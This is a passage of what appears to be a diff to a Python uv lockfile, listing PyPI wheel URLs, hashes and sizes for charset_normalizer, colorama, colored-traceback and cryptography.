"https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, + { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, + { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" }, + { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "colored-traceback" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "os_name == 'nt'" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/07/80/afcf567031ab8565f8f8d2bd14b007d313ea3258e50394e85b10a405099c/colored-traceback-0.4.2.tar.gz", hash = "sha256:ecbc8e41f0712ea81931d7cd436b8beb9f3eff1595d2498f183e0ef69b56fe84", size = 4707, upload-time = "2024-07-13T19:49:37.027Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/28/05e035e2d95dc469408bcb1edfbee5d4fcfe3b0a5fa3701c5f1f10c77c49/colored_traceback-0.4.2-py3-none-any.whl", hash = "sha256:8ad752a5b3c4e50bccd99d4a2d01e16d80926b519e07a85437ecbf8b4f8ce884", size = 5502, upload-time = "2024-07-13T19:49:35.486Z" }, +] + +[[package]] +name = "cryptography" +version = "48.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/45/870e7f4bef50e5f53b9f51d4428aee5290eedf58ba443f16b1ebb7ab8e66/cryptography-48.0.1.tar.gz", hash = "sha256:266f4ee051abb2f725b74ef8072b521ce1feacf685a3364fa6a6b45548db791a", size = 832989, upload-time = "2026-06-09T22:32:31.8Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/bc/ee4137cbbe105652c0ee4252792b78fc8e7afa4b8e61d9d5dc05a7f45731/cryptography-48.0.1-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:3e4a1a3232eef2e6c732827d5722db29a0cc8b27af2a4d865b094cf954be9ca1", size = 8008324, upload-time = "2026-06-09T22:31:00.702Z" }, + { url = "https://files.pythonhosted.org/packages/d5/85/6379d42181bfc713094f081360fc5784d6c816b599d45e7f082502d173ce/cryptography-48.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:32143b24adb918f078134e1e230f1eb8cc04886b92c28b5f0041aaf3e5699225", size = 4696243, upload-time = "2026-06-09T22:32:33.446Z" }, + { url = "https://files.pythonhosted.org/packages/9c/87/c85d147b53323c7eb4d850920c8901377323c2a0ff8d79c262d4fee89aa2/cryptography-48.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0d27a5696721ef7a672b8c810f6aded391058e0b9486e63e6d93baf765da691", size = 4713235, upload-time = "2026-06-09T22:31:40.141Z" }, + { url = "https://files.pythonhosted.org/packages/79/58/67cbf8cf1ee7c54b439ca07bbecf8362c07afc11a3724fea70f745784add/cryptography-48.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb86ce1af36fe65041b6db9a8bb064ee621a7e5fded0f80d475ec243477cd242", size = 4702323, upload-time = "2026-06-09T22:31:42.191Z" }, + { url = "https://files.pythonhosted.org/packages/89/c6/24266ac10c47f6cd2a865f4446062b466da1d1f10b27189eac00e61bf0c9/cryptography-48.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:b024e784ad6c077ee0147b35ea9cbfc1e34e1fd4c1dcca214c2794d73a12df08", size = 5300085, upload-time = "2026-06-09T22:31:58.703Z" }, + { url = "https://files.pythonhosted.org/packages/d2/bb/cc4b78784f97efc8c5874c2a9743708d172be6663024b34a0467885ae0c8/cryptography-48.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3752f2dbc8f07a30aad2932c986cea495b03bb554887828225da104f732852b6", size = 4746137, upload-time = "2026-06-09T22:31:31.01Z" }, + { url = "https://files.pythonhosted.org/packages/1f/52/0c44de3f5267f8fbe8e835138017522a333436166e406f0db9b9e6e3033f/cryptography-48.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:bd81490cd5801d755cf97bb68ac191f14b708470b1c7cf4580f669b9c9264cd8", size = 4333867, upload-time = "2026-06-09T22:32:28.096Z" }, + { url = "https://files.pythonhosted.org/packages/9a/2e/772d7adbfa931537bc401640b7cac9976bff689bda187833e5d63b428e49/cryptography-48.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:66fd0771e7b9c6dcd44cf1120690d2338d16d72795cf40cae2786a39eba65429", size = 4701805, upload-time = "2026-06-09T22:31:38.284Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/b06844f303873493c963caf581c04df31c7035e0c1b0f02c4814d319ec80/cryptography-48.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:3fd2ca57062b241c856670b073487d2e86c4637937ca5601e48f97bf8e11fc8f", size = 5258461, upload-time = "2026-06-09T22:31:04.187Z" }, + { url = "https://files.pythonhosted.org/packages/9f/13/8b765e2e12b07c74941caadb9d1c8fdc006c4dfbf2b8f2d610519758954d/cryptography-48.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:0ee6ea481db1ab889cba043ec1eda17bb9c1ea79db6722f779c3667f9f70322f", size = 4745488, upload-time = "2026-06-09T22:32:30.07Z" }, + { url = "https://files.pythonhosted.org/packages/2e/aa/48972bce55049b32a94f4907eda4d75fa385aad8a39506cc2fc72196ecf0/cryptography-48.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f2ceef93cb096aa3c4cc4b5c94ca6131f9196d28c64d6111533402a9b2054d41", size = 4830256, upload-time = "2026-06-09T22:31:43.868Z" }, + { url = "https://files.pythonhosted.org/packages/47/a2/e5079a032fb85cf6005046ca92bbd78b0c82dad2b5751ab8c311659da06f/cryptography-48.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bd3f92d76217892b15df84ca256c2c113d386fdda7a7d8691aeeced976507c6", size = 4979117, upload-time = "2026-06-09T22:31:05.845Z" }, + { url = "https://files.pythonhosted.org/packages/b7/a0/8f50cae9c74e718ed769d63ed5c74bd0ea830c9550a74629cebd1b9c7bc7/cryptography-48.0.1-cp311-abi3-win32.whl", hash = "sha256:b9a32b876490d66c8bcc9963ef220199569748434ab01a9d6aaeabf88e7f5158", size = 3304154, upload-time = "2026-06-09T22:32:16.845Z" }, + { url = "https://files.pythonhosted.org/packages/c5/69/0572c77dbace6fef72f33755bd52ea399c71367250d366237f8691826b9e/cryptography-48.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:39489bfca54c7a1f6b297efcd8bc608ab92d16c4ca631b0cad4da46724588b24", size = 3817138, upload-time = "2026-06-09T22:32:00.388Z" }, + { url = "https://files.pythonhosted.org/packages/42/06/3e768b4c3bc78201583fa35a0e18f640dd782ff41afba88f8545481a8874/cryptography-48.0.1-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:f817adc181390bd54f2f700107a7419040fb7c1bdf2fc26f36551a06a68c3345", size = 7989830, upload-time = "2026-06-09T22:31:07.8Z" }, + { url = "https://files.pythonhosted.org/packages/8a/13/6476736484b94041110c8340a3eb63962fea4975baea8cb4a512adb44d4d/cryptography-48.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d5d30989c6917b478b5817902e85fddaea2261efa8648383d965381ccb9e1ac4", size = 4689201, upload-time = "2026-06-09T22:31:09.745Z" }, + { url = "https://files.pythonhosted.org/packages/79/62/65a87f34d2a431546e2509b85d55e8c90df86d668f6731da64d538512ac2/cryptography-48.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:df637c05205ea7c1d7fbcbe54bbfea648a52951155f997af13d895d0ecc96991", size = 